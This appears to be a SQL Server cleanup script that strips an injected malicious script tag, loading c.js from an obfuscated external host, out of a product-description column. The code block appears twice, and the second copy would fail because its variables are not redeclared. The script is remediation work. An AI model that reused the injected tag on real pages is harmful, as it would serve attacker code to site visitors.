declare @s_str varchar(8000),@r_str varchar(8000)
select @s_str='<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>' --要替换的字符串
,@r_str='' --替换成的字符串
--替换处理
declare @p_id int,@ptr varbinary(16)
declare @start int,@s nvarchar(4000),@len int
declare @s_str1 nvarchar(4000),@s_len int,@i int,@step int
select @s_str1=reverse(@s_str),@s_len=len(@s_str)
,@step=case when len(@r_str)>len(@s_str)
then 4000/len(@r_str)*len(@s_str)
else 4000 end
declare tb cursor local for
select p_id,start=charindex(@s_str,[shuoming])-1
from [vf_product]
where charindex(@s_str,[shuoming])>0
--这里可以定义要处理的记录的条件
open tb
fetch tb into @p_id,@start
while @@fetch_status=0
begin
select @ptr=textptr([shuoming])
,@s=substring([shuoming],@start+1,@step)
from [vf_product]
where p_id=@p_id
while len(@s)>=@s_len
begin
select @len=len(@s),@i=charindex(@s_str1,reverse(@s))
if @i>0
begin
select @i=case when @i>=@s_len then @s_len else @i end
,@s=replace(@s,@s_str,@r_str)
updatetext [vf_product].[shuoming] @ptr @start @len @s
end
else
set @i=@s_len
select @start=@start+len(@s)-@i+1
,@s=substring([shuoming],@start+1,@step)
from [vf_product]
where p_id=@p_id
end
fetch tb into @p_id,@start
end
close tb
deallocate tb
go
select @s_str='<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>' --要替换的字符串
,@r_str='' --替换成的字符串
--替换处理
declare @p_id int,@ptr varbinary(16)
declare @start int,@s nvarchar(4000),@len int
declare @s_str1 nvarchar(4000),@s_len int,@i int,@step int
select @s_str1=reverse(@s_str),@s_len=len(@s_str)
,@step=case when len(@r_str)>len(@s_str)
then 4000/len(@r_str)*len(@s_str)
else 4000 end
declare tb cursor local for
select p_id,start=charindex(@s_str,[shuoming])-1
from [vf_product]
where charindex(@s_str,[shuoming])>0
--这里可以定义要处理的记录的条件
open tb
fetch tb into @p_id,@start
while @@fetch_status=0
begin
select @ptr=textptr([shuoming])
,@s=substring([shuoming],@start+1,@step)
from [vf_product]
where p_id=@p_id
while len(@s)>=@s_len
begin
select @len=len(@s),@i=charindex(@s_str1,reverse(@s))
if @i>0
begin
select @i=case when @i>=@s_len then @s_len else @i end
,@s=replace(@s,@s_str,@r_str)
updatetext [vf_product].[shuoming] @ptr @start @len @s
end
else
set @i=@s_len
select @start=@start+len(@s)-@i+1
,@s=substring([shuoming],@start+1,@step)
from [vf_product]
where p_id=@p_id
end
fetch tb into @p_id,@start
end
close tb
deallocate tb
go